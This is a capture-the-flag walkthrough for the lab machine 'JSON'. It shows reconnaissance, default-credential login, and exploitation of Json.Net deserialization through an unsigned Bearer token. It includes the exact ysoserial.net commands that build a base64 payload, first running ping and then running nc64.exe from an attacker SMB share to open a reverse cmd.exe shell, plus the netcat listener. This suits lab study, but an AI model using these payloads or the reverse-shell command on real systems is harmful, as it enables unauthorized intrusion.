Exercise: Exploiting .NET deserialization on the box JSON

In this machine, an nmap scan reveals that it is a Windows box with FTP (port 21), HTTP (port 80) and SMB (port 139,445) running.
└──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- json.htb -oA nmap/full-tcp
21/tcp open ftp FileZilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
| Supported Methods: GET HEAD OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE:
The website on port 80 reveals a login page that takes the common credentials "admin" and "admin" as username and password.
If you turn on the Burp proxy in FoxyProxy but leave Intercept off in Burp Suite, all of the calls from the browser will go through the proxy and be available in the HTTP History tab. When you click submit after entering the username and password, the page does a POST request to the endpoint /api/token, providing the username and password that was entered. The response to this POST returns a status code of 202 (Accepted) and provides a Set-Cookie header:
Set-Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkI
G1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=; expires=Thu, 22-Oct-2020
08:44:50 GMT; path=/
The next request is a GET request for the page /index.html and the cookie OAuth2 is now set. After getting script and HTML files, a GET request is made to /api/Account. Interestingly, here a second header, "Bearer" is used with the same contents as the OAuth2 cookie contents:
GET /api/Account/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmM
DNT: 1
Connection: close
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMj
This request returns details of the account:
"Name":"User Admin HTB","Rol":"Administrator"}
Which is actually what you get if you take the Base64 in the Bearer header and decode it.. It is worth noting that the Bearer header suggests that this is Bearer Authentication which is defined as part of the OAuth 2.0 standard. However, normally, the header is actually formatted as:
Authentication: Bearer <token>
The token in this case would also be encrypted or at least cryptographically signed as per the standard and clearly it is not here.
To explore what the Bearer header does, if you change the content of the Bearer header by putting a non-numerical character in the Id field, say "1a" and the re-encode it using Base64. an error is returned by the application:
{"Message":"An error has occurred.",
"ExceptionMessage":"Cannot deserialize Json.Net Object",
Here you get a clue about a possible vulnerability. The message "Cannot deserialize Json.Net Object" suggests a deserialization attack may be possible.
There is a series of utilities called YSoSerial.Net (https://github.com/pwntester/ysoserial.net\) that can be used to generate .NET deserialization attacks.
Using YSoSerial.Net, we can test that the vulnerability can be exploited by trying to ping back to our machine. Given that this is .NET, although it could be done on Parrot SOSec, it is easier to do this on a Windows VM. you can provide the following parameters to ysoserial.exe specifying the output as base64 and the command you want to run as a ping to our machine:
./ysoserial.exe -f Json.Net -g ObjectDataProvider \
-o base64 -c "ping -n 5"
Taking the output from this and putting it in the Bearer header, you get an exception from the server, but the pings come back:
└──╼ $sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
15:00:46.782092 IP > ICMP echo request, id 1, seq 1,
length 40
15:00:46.782231 IP > ICMP echo reply, id 1, seq 1,
length 40
To get a reverse shell on the box, you can do as you did in Bankrobber and use an SMB share to give access to Netcat (nc.exe) and have a listener on our box.
Changing the ysoserial command to the following:
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 \
-c "\\share\nc64.exe 6001 -e cmd.exe"
We then get a reverse shell:
└──╼ $nc -lvnp 6001
listening on [any] 6001 ...
connect to [] from (UNKNOWN) [] 49780
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.